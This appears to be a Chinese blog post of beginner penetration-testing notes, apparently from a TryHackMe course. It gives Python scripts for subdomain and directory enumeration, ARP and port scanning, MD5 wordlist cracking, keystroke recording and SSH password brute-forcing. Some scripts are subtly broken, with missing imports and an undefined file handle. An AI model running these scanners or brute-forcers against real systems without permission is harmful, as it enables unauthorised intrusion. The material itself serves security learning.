首页 > 编程语言 >基于渗透的python

基于渗透的python

时间:2023-03-07 22:36:22浏览次数:34  
标签:基于 python ascii 渗透 print import requests password banner

Python for Pentesters

还记得开始学习编程的C,虽然淡忘,但思想仍在。

子域名枚举

request库

import paramiko
import requests 
import sys 

ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)

dir_path = ""

sub_list = open(dir_path, "r").read() 
subdoms = sub_list.splitlines()

for sub in subdoms:
    sub_domains = f"http://{sub}.{sys.argv[1]}" 

    try:
        requests.get(sub_domains)
    except requests.ConnectionError: 
        pass
    
    else:
        print("Valid domain: ",sub_domains)   

目录枚举

还是requests

import requests 
import sys 
import paramiko

ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)

path = ''
sub_list = open(path,'r').read() 
directories = sub_list.splitlines()

for dir in directories:
    dir_enum = f"http://{sys.argv[1]}/{dir}" 
    r = requests.get(dir_enum)
    if r.status_code==404: 
        pass
    else:
        print("Valid directory:" ,dir_enum)

网络扫描


from scapy.all import *
import paramiko

ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)

interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"

packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range) 

ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)

for send,receive in ans:
        print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))   

端口扫描

socket编程https://www.cnblogs.com/-Lucky-/p/17039661.html

import sys
import socket
import pyfiglet


ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)


ip = sys.argv[1]
open_ports =[] 
ports = range(1, 65535)

def probe_port(ip, port): 
    result = 1
    try: 
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        sock.settimeout(0.5) 
        r = sock.connect_ex((ip, port))   
        if r == 0: 
            result = r 
        sock.close() 
    except Exception as e: 
        pass 
    return result


for port in ports: 
    sys.stdout.flush() 
    response = probe_port(ip, port) 
    if response == 0: 
        open_ports.append(port) 
    
print(f"Open Ports:{open_ports}")

文件下载器

Linux 系统上的 Wget 或 Windows 上的 Certutil 是下载文件的有用工具。

import requests

url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)

import requests

url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)  

hash破解

tools:john,hashcat

import hashlib
import pyfiglet

ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
    for line in file.readlines():
        print(line)
        hash_ob = hashlib.md5(line.strip().encode())
        hashed_pass = hash_ob.hexdigest()
        if hashed_pass == hash_input:
            print('Found cleartext password! ' + line.strip())
            exit(0)

键盘记录器

import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)

ssh暴力破解

tools:hydra

import paramiko
import sys
import os

target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

with open(password_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        
        try:
            response = ssh_connect(password)
            if response == 0:
                 print('password found: '+ password)
                 exit(0)
            elif response == 1: 
                print('no luck')
        except Exception as e:
            print(e)
        pass
input_file.close()

标签:基于,python,ascii,渗透,print,import,requests,password,banner
From: https://www.cnblogs.com/-Lucky-/p/17189947.html

相关文章

  • python83 路飞项目、前端 登录页面分析、登录页面、注册页面
    登录页面分析点击登录,弹出登录组件,盖住整个屏幕(定位)点击登录组件中的X,关闭登录组件(子传父)Login.vue<template><divclass="login"><spanstyle="padding:......
  • Python常见面试题007. 谈谈Python中__init__和__new__的区别
    007.谈谈Python中__init__和__new__的区别python中关于dundermethod双下方法,或magicmethod魔术方法的描述多在https://docs.python.org/zh-cn/3.9/reference/datamo......
  • Python学习笔记(八)列表与元组
    一、列表的创建示例:1#列表中的元素可以是任意数据类型2li=[1,2,3,4,'张三','李四']3print(li)4li1=[]#空列表用于存放数据5#list()中必须是可......
  • python入门学习-1.从hello到函数的基本使用
    参考廖雪峰python教程starthelloworld创建一个hello.py文件,文件名只能是数字、字母、下划线的组合,输入:print('helloworld')在命令行执行代码:ztc@ztc-ubuntu:~/cod......
  • 2023、03、07学习总结之——Python学习_2
    1——Python程序设计中的整数类型没有取值范围限制,但受限于当前计算机的内存大小。2——表达式1+2*3.14>0的结果类型是:bool3——Python语言正确的标识符是(C)A.2youB.......
  • 基于模糊pid控制器的S-函数磁悬浮非线性动态模型的控制仿真
    1.算法描述       在磁悬浮的许多实际应用中,都要求磁悬浮系统的悬浮气隙有较大的工作范围。但由于磁悬浮力-电流-气隙之间的非线性特性,系统模型开环不稳定。至少需......
  • python习题
    输入a,b班的名单,并进行如下统计。输入格式:第1行::a班名单,一串字符串,每个字符代表一个学生,无空格,可能有重复字符。第2行::b班名单,一串字符串,每个学生名称以1个或多个空格分......
  • 基于DDD的golang实现
    女主宣言今天小编为大家分享基于DDD的golang实现,DDD即领域驱动设计,该模式也算是比较热门的话题了。希望通过本篇文章,大家能够掌握DDD模式,能对大家有所帮助。PS:丰富的一线......
  • 【选择排序算法详解】Java/Go/Python/JS/C 不同语言实现
    【选择排序算法详解】Java/Go/Python/JS/C不同语言实现 说明选择排序(SelectionSort)是一种简单直观的排序算法。跟冒泡、插入排序一样,它将数列分为已排序和待排序两个......
  • Holt-Winters模型原理分析及代码实现(python)
    引言最近实验室老师让我去预测景区内代步车辆的投放量,于是乎,本着“一心一意地输出年富力强的劳动力”这份初心,我就屁颠屁颠地去找资料,然后发现了Holt-Winters模型,感......